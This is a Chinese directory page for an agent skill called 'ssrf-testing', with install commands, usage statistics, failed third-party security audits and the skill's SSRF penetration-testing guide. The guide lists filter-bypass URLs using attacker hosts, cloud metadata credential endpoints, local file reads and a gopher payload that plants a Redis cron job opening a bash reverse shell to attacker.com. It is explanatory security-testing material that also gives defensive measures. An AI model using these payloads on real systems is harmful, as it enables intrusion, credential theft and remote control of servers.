Token导航 LogoToken导航TokenDH.com
待分类external-servicegithub未标认证来源可访问许可证需确认审计异常

ssrf-testingssrf 测试

Agent Skill

用于辅助测试设计、自动化测试、用例整理和回归验证。它适合让 Agent 编写单元测试、端到端测试、测试计划或根据失败日志定位问题。使用时需要确认项目测试框架、运行命令和夹具数据,避免为了通过测试而改坏真实逻辑;涉及浏览器或外部服务时,应区分本地模拟、测试环境和生产环境。

总安装

917

周安装

39

GitHub Stars

3,462

下载量

321
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:ssrf-testing(ssrf 测试)
来源仓库:https://github.com/ed1s0nz/cyberstrikeai
仓库路径:skills/ssrf-testing
安装命令:
npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill ssrf-testing
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill ssrf-testing

简介

用于辅助 SSRF 漏洞测试设计与自动化验证。ssrf-testing 属于待分类类 Skill,可作为该场景下的辅助能力补充。

  • 适合编写测试用例、分析请求流向或检查内网暴露风险。
  • 需确认目标环境、运行命令及测试框架后再执行操作。
  • 安装前应核实仓库权限、维护状态与网络访问限制。
  • 涉及生产系统时须谨慎,避免触发非预期服务调用。

SKILL.md

SSRF服务器端请求伪造测试

概述

SSRF(Server-Side Request Forgery)是一种利用服务器发起请求的漏洞,可以访问内网资源、进行端口扫描或绕过防火墙。本技能提供SSRF漏洞的检测、利用和防护方法。

漏洞原理

应用程序接受URL参数并请求该URL,攻击者可以控制请求的目标,导致:

  • 内网资源访问
  • 本地文件读取
  • 端口扫描
  • 绕过防火墙
  • 云服务元数据访问

测试方法

1. 识别SSRF输入点

常见功能:

  • URL预览/截图
  • 文件上传(远程URL)
  • Webhook回调
  • API代理
  • 数据导入
  • 图片处理
  • PDF生成

2. 基础检测

测试本地回环:

http://127.0.0.1
http://localhost
http://0.0.0.0
http://[::1]

测试内网IP:

http://192.168.1.1
http://10.0.0.1
http://172.16.0.1

测试文件协议:

file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts

3. 绕过技术

IP地址编码:

127.0.0.1 → 2130706433 (十进制)
127.0.0.1 → 0x7f000001 (十六进制)
127.0.0.1 → 0177.0.0.1 (八进制)

域名解析绕过:

127.0.0.1.xip.io
127.0.0.1.nip.io
localtest.me

URL重定向:

http://attacker.com/redirect → http://127.0.0.1

协议混淆:

http://127.0.0.1:80@evil.com
http://evil.com#@127.0.0.1

利用技术

内网探测

端口扫描:

# 使用Burp Intruder
http://127.0.0.1:22
http://127.0.0.1:3306
http://127.0.0.1:6379
http://127.0.0.1:8080
http://127.0.0.1:9200

识别服务:

  • 响应时间差异
  • 错误信息
  • HTTP状态码
  • 响应内容

云服务元数据

AWS EC2:

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

Google Cloud:

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/

Azure:

http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01

阿里云:

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/

内网应用攻击

访问管理后台:

http://127.0.0.1:8080/admin
http://192.168.1.100/phpmyadmin

Redis未授权访问:

http://127.0.0.1:6379
# 然后发送Redis命令

FastCGI攻击:

http://127.0.0.1:9000
# 利用FastCGI协议执行命令

高级利用

Gopher协议

发送任意协议数据:

gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aquit%0d%0a

Redis命令执行:

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

Dict协议

端口扫描和信息收集:

dict://127.0.0.1:6379/info
dict://127.0.0.1:3306/status

文件协议

读取本地文件:

file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts
file:///proc/self/environ

工具使用

SSRFmap

# 基础扫描
python3 ssrfmap.py -r request.txt -p url

# 端口扫描
python3 ssrfmap.py -r request.txt -p url -m portscan

# 云元数据
python3 ssrfmap.py -r request.txt -p url -m cloud

Gopherus

# 生成Gopher payload
python gopherus.py --exploit redis

Burp Collaborator

检测盲SSRF:

http://burpcollaborator.net
# 观察是否有DNS/HTTP请求

验证和报告

验证步骤

  1. 确认可以控制请求目标
  2. 验证内网资源访问或端口扫描
  3. 评估影响范围(内网渗透、数据泄露等)
  4. 记录完整的POC

报告要点

  • 漏洞位置和输入参数
  • 可访问的内网资源或端口
  • 完整的利用步骤和PoC
  • 修复建议(URL白名单、禁用危险协议等)

防护措施

推荐方案

  1. URL白名单 ALLOWED_DOMAINS = ['example.com', 'cdn.example.com'] parsed = urlparse(url) if parsed.netloc not in ALLOWED_DOMAINS: raise ValueError("Domain not allowed")
  2. 禁用危险协议

- 只允许http/https - 禁止file://、gopher://、dict://等

  1. IP地址过滤 import ipaddress def is_internal_ip(ip): return ipaddress.ip_address(ip).is_private or \ ipaddress.ip_address(ip).is_loopback
  2. 使用DNS解析验证

- 解析域名获取IP - 验证IP是否在内网范围

  1. 网络隔离

- 限制服务器出网权限 - 使用代理服务器

注意事项

  • 仅在授权测试环境中进行
  • 避免对内网系统造成影响
  • 注意不同协议的支持情况
  • 测试时注意请求频率,避免触发防护

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

36.69%
按下载量换算118

Claude

31.25%
按下载量换算100

Cursor

19.35%
按下载量换算62

Gemini CLI

9.48%
按下载量换算30

安全审计

Gen Agent Trust Hub

未通过

Socket

通过

Snyk

未通过

权限和风险

external-service

该 Skill 可能调用第三方服务、云服务或外部模型 API,使用前需要确认账号、额度、数据发送范围和服务条款。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills